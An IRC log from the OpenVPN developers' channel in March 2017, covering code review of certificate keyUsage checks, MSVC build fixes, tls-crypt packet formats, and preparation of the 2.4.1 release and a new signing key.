thought that might be the case, this page directed me here though https://community.openvpn.net/openvpn 14:27 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 14:36 < slypknot> UbAh: yes the last line on that page means for "Online Services Provided by OpenVPN" *not* for help configuring or managing your private VPN. 14:37 < UbAh> sorry for the mix up --- Day changed Wed Mar 15 2017 05:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 09:26 <@vpnHelper> RSS Update - tickets: #856: Missing port in "status 2" management in "Real Address" field (under ipv6 config) <https://community.openvpn.net/openvpn/ticket/856> 10:18 < valdikss> OpenVPN Connect on Android crashes with 1600 routes :( 14:51 * cron2 looks at tls_x509_clear_env() and wonders if it's safe to modify the linked list while walking it 14:55 <@cron2> mmmh, it should be. it's not overly efficient, though (since each call to env_set_del() walks the list from the beginning again) - but otherwise we'd have to introduce a "remove_env_item_substring()" or so... more code duplication 15:06 <@syzzer> cron2: indeed, this looked like the most simple solution to me 15:06 <@syzzer> we can always optimize if we need to later 15:07 <@syzzer> oh, wow, the first exit polls indicate that Wilders is only the 5th party 15:07 <@cron2> that would be great indeed 15:08 <@cron2> (OTOH having to build a government from four parties disagreeing about everything is no fun either) 15:08 <@syzzer> oh, but only very close, there are a lot of parties with exactly the same amount of seats 15:08 <@syzzer> so he might still get second place 15:08 <@syzzer> we'll see 15:10 <@syzzer> but yeah, looks like we need at least 4 parties to form a government 15:23 <@vpnHelper> RSS Update - gitrepo: Remove duplicate X509 env variables <https://github.com/OpenVPN/openvpn/commit/fd0361813cd3d5a55f3408a018e2ed776d79fef6> 15:24 <@cron2> wtf... "push 'echo forget-passwords'"... 15:24 <@cron2> (Selva wins the most recent round of discovering obscure OpenVPN-AS related features :) ) 15:29 <@syzzer> hehe, wtf indeed 15:34 <@cron2> .oO(why am I reviewing windows code again?) 15:37 <@cron2> what the hell 15:37 <@cron2> why 15:37 <@cron2> struct timeval vs. struct timespec 15:39 <@cron2> and whyyyyyy are we using a "struct timespec" to store *seconds only* 15:40 <@cron2> (crl_last_mtime) 15:40 <@syzzer> that you should ask ordex 15:40 <@syzzer> but I recall there was some reason... 15:43 <@cron2> mmmh 15:43 <@cron2> someone introduced in_port_t to mroute.h, and I can't find it because The Great Reformatting breaks git blame 15:45 <@syzzer> that'll be me 15:45 <@syzzer> 8cac9b98d58b97fbd5a23dd9f172a9843ecf5b50 15:45 <@cron2> oh 15:45 * cron2 knows who acked this :) 15:54 <@syzzer> I guess I broke MSVC builds with that? 15:55 <@syzzer> or are there other reasons to not use it? 16:03 <@cron2> you broke MSVC builds :) 16:04 <@cron2> (twice) 16:04 <@cron2> ordex only got one 16:04 <@cron2> d12fk and dazo got one each 16:04 <@cron2> (by adding new .c sources and omitting updating the vcproj file) 16:11 <@cron2> plai: could you have a look at #851? 16:16 <@cron2> argh, I hate windows 16:16 <@cron2> "DWORD is a 32 bit unsigned integer, declared as follows: typedef unsigned long DWORD" 16:16 <@cron2> a %ul would be 64 bit on any sane platform today... 16:18 <@syzzer> uh, yeah, that is somewhat contradictory... 16:32 <@cron2> so OPENVPN_KU_REQUIRED tells the TLS lib "the extention must be there!" and since the SSL lib knows whether the other end is client or server, it will check that it is allowed to be that role? 16:32 <@syzzer> no, it tells our own code in ssl_verify_<lib>.c that we want that 16:33 <@cron2> but that code just says 16:33 <@cron2> + /* Extension required, value checked by TLS library */ 16:33 <@cron2> + return SUCCESS; 16:33 <@syzzer> keyUsage does not have much to do with being client or server (extendedKeyUsage does), which seems to be one of the mistakes in the original code 16:34 <@syzzer> let me try to rephrase, OPENVPN_KU_REQUIRED tells our code that the extension must be present, and if th extension is present, the TLS lib will always check it for correctness 16:34 <@cron2> ah! 16:34 <@cron2> "correctness" being "if we're a client, and the other end has extendedkeyUsage != server, then it will fail"? 16:35 <@syzzer> that's extendedKeyUsage 16:36 <@cron2> what is keyUsage? 16:36 <@syzzer> keyUsage says stuff like 'this certificate can be used to sign stuff' 16:36 <@syzzer> or 'this certificate can be used to crypt stuff' 16:37 <@syzzer> so what the 'correct' keyUsage is determines on the TLS cipher suite that is negotiated. E.g. in an RSA handshake, the RSA key is used to /encrypt/ an ephemeral RSA key, while in a RSA-DHE handshake the same RSA key would be used to /sign/ the key exchange. 16:38 <@syzzer> This is one of the important reasons why we should not check it ourselves, but let the crypto library do that. 16:38 <@syzzer> (it already did, we just added our own overly strict checking on top) 16:40 <@cron2> so if you have a cert with a RSA key and no KU in it at all, it will be allowed to do "all of it", unless we require KU to be there? 16:40 <@syzzer> indeed 16:41 <@syzzer> which is why I think requiring KU to be present does make sense, but pedantically checking it ourselves does not 16:42 <@syzzer> aargh, "fatal error: error writing to /tmp/cc7P4CRi.s: No space left on device" 16:43 <@cron2> hrhr :) 16:43 <@cron2> so who is checking EKU? 16:44 <@cron2> options->remote_cert_eku = "TLS Web Server Authentication"; 16:44 <@syzzer> we 16:44 <@syzzer> (and the TLS lib, of the extension is present) 16:44 <@syzzer> s/of/if/ 16:44 <@cron2> oh, so our *EKU* check was correct, but our *KU* check was too strict, so the EKU check failed 16:45 <@syzzer> the KU check failed, yes 16:45 <@syzzer> EKU is all fine 16:45 <@syzzer> brb 16:46 * cron2 has go go to bed now anyway... more questions tomorrow :) 17:03 <@syzzer> good night! 19:29 < slypknot> dazo: you about ? 19:30 < slypknot> if not : just curious what you make of this : https://forums.openvpn.net/viewtopic.php?f=5&t=22828#p68765 19:30 <@vpnHelper> Title: connecting a Raspberry Pi to my OpenVPN server - OpenVPN Support Forum (at forums.openvpn.net) 19:30 < slypknot> sorry .. not meant as spam .. meant as "what is spam" ? 20:10 < slypknot> Forget that shit --- Day changed Thu Mar 16 2017 01:10 <@ordex> cron2: I think I used a timespec because it was required for a comparison..but actually, I think the way it is used does not require it to be a full fledged timespec .. 01:11 <@ordex> cron2: I got one of what ? msvc breakage? :P 01:27 <@ordex> is there any document explaining the protocol-on-wire for openvpn ? like exact packet formats etc ? 01:47 <@ordex> syzzer: with non AES-GCM algos openvpn withh encrypt + sign (with hmac) every packet, right? 01:48 <@ordex> while with AES-GCM/AEAD only encryption is performed, right ? 02:27 <@cron2> ordex: one MSVC breakage, indeed :) 02:28 <@ordex> oh ok :) didn't kno at all that there was something to modify to make MSVC happy 02:28 <@ordex> *know 02:28 <@cron2> see list 02:28 <@cron2> mail thread started by Eric Thorpe 02:29 <@ordex> thanks 02:29 <@ordex> will have a look 02:29 <@cron2> oh, interesting, seems my solaris buildslave wants a reboot... 02:29 <@cron2> virtual memory exhausted: Resource temporarily unavailable 02:31 <@ordex> oh I saw you mentioned my name in the email too - please add me explicitly to the CC next time, so that the email will pop-up in the main inbox and will get even more attention 02:32 <@ordex> or just wait for me to read the thread :P 02:32 <@cron2> yay, hald-addon-acpi eating 1G RAM... wtf... 02:43 <@ordex> mah, finding a clear definition of the _stat structure in windows seems to be a mission impossible 02:43 <@ordex> nowhere I can find the actual types of the fields 02:48 <@cron2> I'd assume it's a time_t, though whether or not this is 32 or 64 bit seems to depend on -D_USE_32BIT_TIME_T 02:48 <@ordex> that shouldn't be a problem, as soon this is consistent all over the place 02:48 <@cron2> right 02:49 <@ordex> if it is time_t, then the timespec field can be just converted I think 02:49 <@ordex> and every platform should be happy 02:49 <@cron2> mingw uses 02:49 <@cron2> __time32_t st_mtime; 02:50 <@cron2> (or __time64_t) - but I'd just go for time_t, as I'm fairly sure that POSIX mandates that 02:50 <@ordex> yap 02:50 <@ordex> sounds good 02:50 <@ordex> should I send a patch based on top of Eric's ? 02:51 <@ordex> or should we change this before applying Eric's patch ? 02:51 <@cron2> https://en.wikipedia.org/wiki/Stat_(system_call) 02:51 <@cron2> urgh 02:51 <@ordex> (then Eric's patch can be easily changed when applying it) 02:51 <@cron2> Since the 2008 version of the standard, these fields were renamed to st_atim, st_mtim and st_ctim, respectively, of type struct timespec, since this structure provides a higher resolution time unit. For the sake of compatibility, implementations can define the old names... 02:51 <@cron2> note the "can" part here... 02:52 <@ordex> linux has the old names 02:52 <@cron2> ordex: independent patch, Eric re-sent his patch without the two chunks 02:52 <@ordex> and those are what I am using to make windows happy 02:52 <@cron2> everyone has the old names :) 02:52 <@cron2> if any implementation dropped them, though they "can", half the software would explode 02:52 <@ordex> :D 03:04 <@vpnHelper> RSS Update - gitrepo: Fix Building Using MSVC <https://github.com/OpenVPN/openvpn/commit/5ab106db7b091c6409fd0a7e43f557a7931c200f> 03:10 <@cron2> syzzer: congratulations on the election - from what I hear in the radio news, well done! 03:11 <@cron2> (but building a government with four parties needed to reach majority is going to be a real challenge) 03:18 <@ordex> 82% of the people have voted. amazing 03:18 <@ordex> :) 03:29 <@syzzer> cron2: thanks :) It's still a bit too much right-wing for my taste, but could be a *lot* worse 03:29 <@syzzer> and we Dutch are quite used to forming a 2 or 3-party government, so this will probably just take a bit more time but still work out 03:30 <@syzzer> in particular because the most likely parties are quite reasonable ones 03:38 <@syzzer> ordex: AES-GCM is 'authenticated encryption', so it plays both the rolls of encryption and authentication 03:38 <@ordex> yeah 03:38 <@syzzer> actually, AES-GCM is just AES-CTR for encryption + GHASH for authentication 03:38 <@ordex> just digging into the code and I liked that :) 03:39 <@ordex> oh ok 03:39 <@syzzer> and no, there is no on-the-wire spec (yet) 03:39 <@ordex> you commit message about tls-crypt was very useful to understand the packet format, as you have broadly described it 03:39 <@ordex> but I was curious about tls-auth 03:39 <@syzzer> OpenVPN Tech is planning to write an RFC, and I am hoping to find time to help out with that, but it's not moving very quickly... 03:39 <@ordex> but couldn't find much 03:40 <@ordex> mh the RFC will take .. a bit :D I was hoping also for just a wikipage or similar 03:40 <@syzzer> for the data channel, I added the packet formats to the top crypto.h (iirc) 03:40 <@ordex> any luck for the control channel ? 03:40 <@syzzer> I think this is the best we have: https://openvpn.net/index.php/open-source/documentation/security-overview.html 03:40 <@vpnHelper> Title: Security Overview (at openvpn.net) 03:41 <@ordex> thanks ! 03:42 <@ordex> syzzer: is the reliability layer implemented also when doing TLS over tcp ? 03:42 <@ordex> just reading about this layer now .. 03:42 <@syzzer> yes, it is 03:42 <@cron2> ordex: yes 03:42 <@ordex> redundant, right? but who cares for those few packets 03:42 <@syzzer> I think that's the idea, yes 03:43 <@ordex> I see. thanks :) 03:43 <@cron2> "simplicity of higherlevel implementation" or so :) 03:43 <@syzzer> if we were to redesign the protocol with current insights, we could improve it quite a bit 03:44 <@cron2> if I were to redesign the protocol, "parameter negotiation" would play a big role :-) 03:44 <@ordex> we just have to keep some lines along for backward compatibility :P 03:44 <@ordex> yeah 03:44 <@ordex> :) 03:44 <@syzzer> TLS has evolved a lot in the past years, so I think it would make sense to piggy-back a lot more on TLS 03:45 <@vpnHelper> RSS Update - gitrepo: CRL: use time_t instead of struct timespec to store last mtime <https://github.com/OpenVPN/openvpn/commit/f3705dd1e711ee9f8546b841e4b18e9e9a224975> 03:45 <@ordex> I am not a TLS expert, but generally sounds like a good idea 03:46 <@ordex> syzzer: any specific reason why you changed the field oreded in the packet header when implementing tls-crypt? 03:46 <@ordex> *order 03:48 <@syzzer> ordex: iirc, the on-the-wire format is pretty similar, but the crypto code is not because for tls-auth there is some packet (un)mangling required between the crypto and the on-the-wire format 03:48 <@syzzer> because the data channel crypto code is reused to do tls-auth 03:49 <@ordex> oh ok 03:49 <@ordex> yeah I saw some mangling before computing the hmac 03:51 <@ordex> and just to clarify: when the TLS handshake starts the two hosts will exchange some key material; is this material exchanged in plaintext in the control packets payload at this point? while after having exchanged it the payload will be encrypted? 03:51 <@ordex> syzzer: I hope I am not stealing too much of your time with these questions :) 03:53 <@ordex> although I don't know what would travel any longer on the control channel once the key material has been exchanged .. 04:05 <@syzzer> ordex: TLS itself starts with some plain-text packets, then switches to encrypted packets as soon as it has performed a key exchange 04:05 <@ordex> I see 04:05 <@syzzer> on top of that, openvpn performs its own key exchange for the data channel 04:06 <@ordex> so this means that with tls-crypt enabled, the TLs payload will be encrypted twice at some point? 04:06 <@ordex> *TLS 04:06 <@ordex> once by TLS itself and once by the external encryption provided by tls-crypt (?) 04:06 <@syzzer> ordex: indeed 04:06 <@ordex> I See, thanks :) 04:07 <@ordex> this helps understanding the doc too 04:07 <@ordex> because in the doc the payload was called "TLS cyphertext" and I couldn't understand why not plaintext as it is not mentioned any crypt operation on that piece of data 04:07 <@ordex> now I got it, thanks! :) 04:08 * ordex is sweatting 04:08 <@syzzer> hehe, you're welcome :) 04:08 <@syzzer> the total stack is quite a lot to grasp 04:09 <@ordex> hehe yeah 04:17 <@cron2> argh 04:18 * cron2 would have totally bothed the sizeof(cipher_list) patch... I didn't look close enough, so assumed "[1000]? this must be a char []"... :) 04:20 <@syzzer> yeah, this is why I preferred the const initially 04:20 <@syzzer> too easy to get wrong 04:24 <@ordex> no spaces around the "/" ? 04:24 <@ordex> :-P 04:38 <@ordex> syzzer: also in tls-crypt send and recv keys are different, right? so a total of 4 (2 for the hmac and 2 for the aes) 04:38 <@syzzer> ordex: correct 04:39 <@ordex> oky, thanks :) 04:40 <@syzzer> and indeed, no spaces O-) 04:40 <@syzzer> not that I really care, just habit 04:41 <@ordex> I think in the codestyle on the wikipage, it was agreed to always put spaces around math operators 04:42 <@ordex> syzzer: when generating a key with genkey, how does openvpn know how long the content has to be? it seems that the same output is good for tls-auth and tls-crypt, but I'd assume that tls-crypt needs more data as it needs to come up with 4 keys? 04:43 <@syzzer> ordex: not on the codestyle, I thought? (Just looked, can't find it at least.) 04:43 <@cron2> hrmhrm, we've grown a few new warnings 04:43 <@cron2> ../../../openvpn/src/openvpn/openssl_compat.h:152:14: warning: passing argument 1 of 'free' discards 'const' qualifier from pointer target type 04:43 <@cron2> free(meth->name); 04:44 <@syzzer> ordex: it always generates 2048 bits of key material, and the crypto module decided how much of that to use 04:44 <@ordex> free'ing a const sounds interesting :D 04:44 <@ordex> syzzer: oh ok 04:44 <@syzzer> cron2: yeah, noticed that recently too 04:44 <@cron2> there might be a mismatch between a char const * and a const char * here 04:45 <@syzzer> it's kind of annoying to fix though 05:00 <@syzzer> dazo: I was just wondering, shouldn't distro/rpm/openvpn.spec.in be updated for systemd stuff? It still seems to want to install init scripts 05:13 <@vpnHelper> RSS Update - gitrepo: Fix non-C99-compliant builds: don't use const size_t as array length <https://github.com/OpenVPN/openvpn/commit/db1b4d96bfe7e744a0dec8f86cb041c32fb87964> 08:10 <@ordex> do we know anything about the audit that was started on openvpn ? 08:11 <@ordex> I guess they will privately release some rpeort when everything will be done 08:15 <@dazo> syzzer: well, yes and no ... one challenge, Fedora + RHEL7 needs systemd stuff, RHEL6 (and older) will break in this case. It is possible to add a lot of logic to have all this in a simple file 08:16 <@dazo> syzzer: I am probably more in favour of making it look more like a recommended template ... Most RPM distros have their own .spec files in their own package management tools, where each distro release have their own .spec file - often independent of each other 08:18 <@dazo> Here's Fedora and EPEL ... https://src.fedoraproject.org/cgit/rpms/openvpn.git/ 08:18 <@vpnHelper> Title: rpms/openvpn.git - openvpn (at src.fedoraproject.org) 08:29 <@cron2> ordex: no details yet, except that "the report will eb coming soon" 08:30 <@ordex> I see, thanks 11:16 <@cron2> hah, C standard... 11:16 <@cron2> http://stackoverflow.com/questions/8384388/variable-declaration-after-goto-label 11:16 <@vpnHelper> Title: c - Variable declaration after goto Label - Stack Overflow (at stackoverflow.com) --- Day changed Sat Mar 18 2017 02:27 <@ordex> uh, gentoo declassified openvpn-2.4.0 as unstable again 04:17 <@cron2> uh, what? why? 04:46 <@ordex> dunno, just happened this morning. my package manager wanted to go back to 2.3.x 05:11 <@ordex> can't see any ticket in the gentoo bug tracker, maybe it was made stable by accident - usually new stable releases are not immediately stable in gentoo 05:12 <@ordex> ah yeah - it has always been marked as unstable (my last statement was right) 05:12 <@ordex> sorry for the noise :P 06:01 <@cron2> heh, so FreeBSD and Debian are actually less rusty than gentoo. Something new :-) 06:02 <@cron2> (gentoo is being *very* conservative here, not even having 2.3.14 marked as stable) 06:30 <@ordex> yeah, not sure why 06:30 <@ordex> when was 2.3.14 released ? 06:30 <@ordex> usually it needs to stay some time softly masked before becoming stable 07:35 <@cron2> ordex: mid december or so --- Day changed Sun Mar 19 2017 03:17 <@ordex> syzzer: if the packet-id always 8 bytes with tls-crypt ? 03:17 <@ordex> and goodmorning :) 11:29 <@vpnHelper> RSS Update - gitrepo: Be less picky about keyUsage extensions <https://github.com/OpenVPN/openvpn/commit/92a5b9fb76cbb7f43a6aa86994ff559f06c55c7a> || Deprecate --ns-cert-type <https://github.com/OpenVPN/openvpn/commit/2dc332266449d5378f1fe04f950cbebf128ec9c9> 11:31 <@cron2> syzzer: what is "%S"? 11:37 < m-a> "Equivalent to ls" according to POSIX 11:37 < m-a> if it's about fprintf and thereabouts 11:38 < m-a> meaning wchar_t string. 11:38 <@cron2> ah 11:38 * cron2 had no idea what "l" would do to %s :-) - thanks 11:39 <@cron2> indeed it is, syzzer sent a "clean up printf() characters" patch that has lots of %d<->%lu, and one change is %s->%S (in error handling, so most likely nobody ever triggered this and noticed it was wrong) 11:41 < m-a> manual pages to the rescue! 11:42 * cron2 looks at FreeBSD's printf(3) and finds %ls and %S. Amazement. (I assumed it to be windows specific, so didn't check... woops) 11:44 < m-a> I find the opengroup.org documentation that is called the "Single Unix Specification" quite useful. After free registration you can download a HTML tarball for offline perusal, too. 11:44 < m-a> worth checking the history of such matter though if you care about very old systems. 12:55 < slypknot> good grief (and I had to correct [oconf=] for him : https://forums.openvpn.net/viewtopic.php?f=6&t=23548 12:55 <@vpnHelper> Title: Client Cannot See or Ping Computers on LAN. Server Cannot Ping Client. - OpenVPN Support Forum (at forums.openvpn.net) 12:56 < slypknot> I bet he has a wlan and eth 13:23 <@vpnHelper> RSS Update - gitrepo: plugin: Improve the handling of default plug-in directory <https://github.com/OpenVPN/openvpn/commit/f9609f1df9d8c070245b7c008dc54ac9ccdbe231> 13:35 <@vpnHelper> RSS Update - gitrepo: ignore remote-random-hostname if a numeric host is provided <https://github.com/OpenVPN/openvpn/commit/3c748aeb5e4b82c449e7de28846a3915ab45aeec> 13:52 <@vpnHelper> RSS Update - gitrepo: cleanup: Remove faulty env processing functions <https://github.com/OpenVPN/openvpn/commit/a87f119afcfcc1c855a6ea2ba3d765966f1f2591> 14:27 <@cron2> mattock: most stuff I want to have in 2.4.1 are in, except for the trac#850 bugfix, which I can't easily test right now... need to fix my compile environment --- Day changed Mon Mar 20 2017 03:53 <@syzzer> ordex: yes, tls-auth/tls-crypt always uses the 'long form' packet id 04:12 <@mattock> cron2: are we release-ready soon? 04:13 <@mattock> "Discussed the OpenVPN 2.4.1 release. Agreed to make the release the upcoming Monday (20th March)." 04:14 <@mattock> still doable? 04:44 <@ordex> cron2: for the auth-token patch, we've put it on hold, right ? 04:49 <@cron2> mattock: I need to test the bugfix for #850, and couldn't build an installer yet 04:50 <@cron2> as this is a real bug (with a one-line fix) I'd prefer to have that in 2.4.1 04:55 <@cron2> mattock: could you build an installer with https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14282.html for me? Then I can test this, and hopefully someone can ACK it soon... 04:55 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Fix installation of IPv6 host route to VPN server when using iservice. (at www.mail-archive.com) 04:59 <@mattock> cron2: ok, I should have it for you in <2 hours 04:59 <@mattock> need to split to lunch soon 05:01 <@cron2> thanks! 05:12 <@mattock> building, will publish after lunch 05:22 <@mattock> cron2: http://build.openvpn.net/downloads/snapshots/openvpn-install-2.4.0-I602-ipv6hostroute.exe 05:22 <@mattock> build was faster than anticipated 05:22 <@mattock> 2.4.0 + the patch 05:22 <@mattock> actually, "release/2.4" + patch 05:25 <@cron2> thanks 05:25 <@cron2> I'll link to it from the ticket and hopefully the original reporter can test it as well 05:27 <@cron2> (we won't make 2.4.1 release today, though, unless someone ACKs this very soonish...) 05:27 <@cron2> mattock: what about the rest of the week - when would be convenient for you? 09:12 < slypknot> Can I get a pointer as to what the change was in 2.4-I602 please 09:18 <@cron2> slypknot: "all that went into git release/2.4 so far, plus the patch from trac850", if you refer to the snapshot URL mattock posted 09:22 <@dazo> slypknot: Basically git shortlog v2.4.0..release/2.4 09:23 <@dazo> (plus that #850 ticket, as that have not been applied yet, if I've understood things correctly) 09:40 < slypknot> cron2: I602 does not include #850 .. 09:42 <@dazo> slypknot: I think mattock did a build with an unofficial patch 09:42 <@dazo> slypknot: so it's not really "logged" anywhere ... but it's a test build to see if that resolves the issue 09:43 < slypknot> I am trying to recall what the change was from 2.4-I601 to I602 .. I am sure it was onluy one patchj 09:43 <@dazo> comment #5 in the ticket says: " Here's an installer, built on top of today's release/2.4 branch plus this patch:" 09:44 < slypknot> No .. not that patch .. the official download for windows 09:44 <@dazo> today's release/2.4 is the latest git release/2.4 branch ... which contains everything we want to ship in v2.4.1 ... and then this patch comes on top of that 09:47 <@dazo> that's right, the official I602 is not patched ... but the installer linked to in ticket #850 (which is a snapshot build, not a release build) does have that patch added 09:48 <@dazo> hence the download path is: snapshots/openvpn-install-2.4.0-I602-ipv6hostroute.exe .... the official builds are under releases/ 09:51 < slypknot> No no .. I simply want to know what was specific to I602 only - I think the only change (according to https://openvpn.net/index.php/open-source/downloads.html) is openssl 1.0.2k 09:51 <@vpnHelper> Title: Downloads (at openvpn.net) 09:51 <@dazo> ahh! 09:52 < slypknot> :) 09:52 < slypknot> so am i right ? 09:52 <@dazo> okay ... there should be a separate git repo with the Windows installer 09:52 <@cron2> *official* installer revisions very rarely contain "new openvpn things" - it's either bundled library versions, or gui 09:52 < slypknot> so it is just the openssl 102k update for I602 ? 09:52 < slypknot> thats all the info i can find 09:53 <@dazo> The official Windows releases uses the git release tags .... and I60x changes are build differences only hitting the Windows release (like dependencies, NSIS installer issues, etc) 09:54 <@dazo> slypknot: https://github.com/OpenVPN/openvpn-build 09:54 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-build: OpenVPN Build (at github.com) 09:55 <@dazo> I see that there are no tags with the I60x indicator ... that could probably be something mattock should consider to add 09:55 <@cron2> true 09:56 * dazo need to head for the kindergarten 09:56 < slypknot> https://github.com/OpenVPN/openvpn-build/commit/311f2b12a42d37afbc6f7804942e6eb5289ccd4a 09:56 <@vpnHelper> Title: Update build parameters to match openvpn-install-2.4.0-I602 · OpenVPN/openvpn-build@311f2b1 · GitHub (at github.com) 09:56 < slypknot> so openssl 102i -> 102k that's enough for me :) thank 11:36 < slypknot> https://forums.openvpn.net/viewtopic.php?f=6&t=23710 11:36 <@vpnHelper> Title: Windows - directive dhcp-option DNS6 wrong syntax - OpenVPN Support Forum (at forums.openvpn.net) 11:44 <@cron2> *sigh*... testing the fix for #850 took 5 minutes, getting my win7 laptop to a workable condition after windows update has filled c: completely took 45min... 12:32 < slypknot> good old wind-blows ;) 13:04 <@vpnHelper> RSS Update - gitrepo: Fix installation of IPv6 host route to VPN server when using iservice. <https://github.com/OpenVPN/openvpn/commit/27740b376c1ca89a43dcff5c8309f1e1afecc5c9> 13:33 <@cron2> plai: https://en.oxforddictionaries.com/usage/cannot-or-can-not 13:33 <@vpnHelper> Title: ‘Cannot’ or ‘can not’? | Oxford Dictionaries (at en.oxforddictionaries.com) 13:40 <@cron2> mattock: let me know what time is suitable for you this week - I got all important things in (... that I'm aware of) so we could do 2.4.1 now 14:47 <@vpnHelper> RSS Update - gitrepo: Make ENABLE_OCC no longer depend on !ENABLE_SMALL <https://github.com/OpenVPN/openvpn/commit/363af65178b8bbb482df958d6570c8763aee5d1d> 15:06 <@mattock> cron2: tomorrow won't do it, but wed-fri should be ok --- Log closed Mon Mar 20 15:22:17 2017 --- Log opened Tue Mar 21 08:28:00 2017 08:28 -!- Irssi: #openvpn-devel: Total of 28 nicks [8 ops, 0 halfops, 0 voices, 20 normal] 08:28 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:28 -!- Irssi: Join to #openvpn-devel was synced in 12 secs 08:57 <@plai> cron2_: yeah 11:01 <@cron2_> sooo... any last-minute orders for 2.4.1? 11:01 * cron2_ intends to tag around 2200 tonight... so mattock can release tomorrow 15:25 <@cron2_> mattock: It Has Been Done. Your turn :) --- Day changed Wed Mar 22 2017 00:14 <@vpnHelper> RSS Update - tickets: #857: Connection attempt from Windows client causes server computer network lockup for SSH connections. <https://community.openvpn.net/openvpn/ticket/857> 04:37 <@cron2_> mattock: ping? anyone out there? 04:38 <@ordex> I am sure he is still sleeping 05:32 <@ordex> who is in charge of updating the wireshark dissector ? if any :P 05:32 <@ordex> because I think that in the (stable) version of wireshark we don't have the disector for the new header format introduced by tls-crypt 05:32 <@ordex> syzzer: ^^ 05:35 <@ordex> syzzer: btw regarding dazo's idea of having the server understand if tls-auth or crypt is being used, I think that it could have been achieved by using another set of op codes, no? was this option considered and discarded for some reason? 05:35 <@syzzer> ordex: I have no idea who maintains that, but indeed, it is most likely not updated 05:35 <@ordex> yup 05:35 <@syzzer> (and it would be tricky, because it would need te key to do something useful) 05:36 <@ordex> well, in the worst case it would just properly parse the initial (unencrypted) fields 05:36 <@ordex> (yeah, this may not fall into the "useful" category :D) 05:37 <@syzzer> ordex: we never discussed whether to introduce new opcodes for tls-crypt. But I thought about that for a bit when developing tls-crypt, and decided that our opcode space is rather small, and I didn't think it would be wordt it 05:37 <@ordex> guessed that - maybe a bit somewhere :P anyway, too late now, but I just wanted to understand if there were other obstacles going that direction :) thanks 05:38 <@syzzer> nope, no fundamental problems. just that to opcode is only 5 bits (iirc) 05:38 <@ordex> yap 05:56 <@cron2_> oh, activity 06:28 <@mattock> release wheels are rolling now 06:39 <@cron2_> whee :) 07:49 <@cron2_> mattock: so how is it going? 07:51 <@dazo> mattock: btw ... could you also tag the openvpn windows git repo accordingly, with the I60x version? 08:04 <@dazo> mattock: noticed your response on the ML now ... will reply there 09:14 < slypknot> Hi on this page https://community.openvpn.net/openvpn/wiki/GitCrashCourse#Concepts it says there is a branch called allmerged .. but I don't think there is any more ? 09:14 <@vpnHelper> Title: GitCrashCourse – OpenVPN Community (at community.openvpn.net) 09:34 <@vpnHelper> RSS Update - tickets: #858: The server stop responding (std::out_of_range) <https://community.openvpn.net/openvpn/ticket/858> 09:55 <@dazo> slypknot: that's right, we need to update that one 09:55 * dazo runs for kindergarten 11:16 <@mattock> cron2_: I decided to automate the release process somewhat, so things have taken time 11:16 <@mattock> now I'm pretty close to making the announcements 11:16 <@mattock> the release process was getting so complex that following all the steps through manually was getting too troublesome 11:28 <@cron2_> so next time it's "make release" and things will just happen? 11:31 <@mattock> well, not _that_ automatic yet, but a large part is now automatic 11:32 <@mattock> should shave off maybe 45 minutes off a release (which was ~3 hours previously) 11:32 <@mattock> plus, in theory, reduce the chance for human error 11:32 <@mattock> further automation is in the pipeline, though, but not today 11:41 <@plai> btw. Android O add a VPN lockdown mode for VPN apps 11:42 <@plai> when the VPN interface is down, no traffic is allowed 11:44 <@syzzer> plai: that is good news! 11:45 <@syzzer> we used to do something like that in when we intergrated OpenVPN-NL on Android, by creating a dummy VPN that just drops all traffic 11:57 <@cron2_> plai: btw, could you have a look at that trac ticket? #851 12:23 <@mattock> finally... 13:43 -!- cron2_ is now known as cron2 14:01 < eworm> Hey everybody! 14:01 < eworm> mattock has a new signing key? 14:09 <@cron2> I think that's the one from the last signing party... 14:10 <@cron2> oh, he has a new new key 14:11 <@cron2> mattock: uh... could you get yourself some signatures on that key...? and put it on the keyservers, and such? 14:14 < eworm> It is on keyservers. 14:14 < eworm> I found it there. 14:15 < eworm> But would be nice if any trustworthy person can confirm it's mattock. ;) 14:17 <@cron2> eworm: which server? 14:17 <@cron2> well, it is signed by mattock's old key, AND is referenced on the official web page 14:18 <@cron2> so I am willing to sort of semi-trust it :-) - but indeed, a new key signing party is in order 14:21 < eworm> ah, right. :D 14:21 < eworm> I printed the fingerprint... Apparently that does not output the signatures. 14:22 <@cron2> ah, I found a keyserver that actually works 14:23 <@cron2> --list-sigs 14:27 < eworm> Yes, I know. 14:28 < eworm> Had to get the complete fingerprint for my packaging, that's why I used that first. 14:30 <@mattock> my old key confirms the new key 14:30 <@mattock> but yes, key signing party makes sense 14:42 <@dazo> mattock and I will be in a video conference in a couple of weeks, perhaps he and I can meet a little bit earlier and do a little signing session then. That should at least increase the the trust a bit more 14:49 <@cron2> we can do that on the next wednesday meeting... 14:50 <@cron2> (at least mattock, syzzer, me) 17:43 <@vpnHelper> RSS Update - tickets: #859: Client won't receive PUSH answer <https://community.openvpn.net/openvpn/ticket/859> 19:36 < slypknot> https://www.openssl.org/blog/blog/2017/02/21/threads/ 19:36 <@vpnHelper> Title: OpenSSL and Threads - OpenSSL Blog (at www.openssl.org) 20:29 <@dazo> slypknot: not an issue currently for OpenVPN, as it is not multi-threaded 22:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Mar 23 2017 03:02 <@ordex> moin moin 03:03 <@syzzer> mornin :) 03:09 <@ordex> :) 03:10 <@mattock> morning 03:13 <@mattock> dazo: as for trust in the new GPG key... it has been signed with my old key, so the owner of the old key (me) claims that the owner of the new key (me) is trustworthy. And my old key is trusted by a bunch of people. That said, of course it would be best to have more direct signatures on the new key. 03:35 <@ordex> mattock: may I ask you why a new key was created? just curious 03:38 <@cron2> "1024D" 03:40 <@ordex> ah 03:40 <@ordex> :D 03:40 <@ordex> then somebody may have broken it already and signed your new key :-P 03:41 * ordex is teasing 03:41 <@ordex> :P 04:46 <@mattock> indeed :P 05:23 <@cron2> syzzer: ah. thanks. I was thinking about the port, but for whatever reason couldn't see the numbers in the log :-) 05:24 <@syzzer> cron2: heh, that's good teamwork then, because your comment triggered me to look at the ports in the first place 05:31 <@vpnHelper> RSS Update - tickets: #860: community.openvpn.net unreachable via SMTP <https://community.openvpn.net/openvpn/ticket/860> 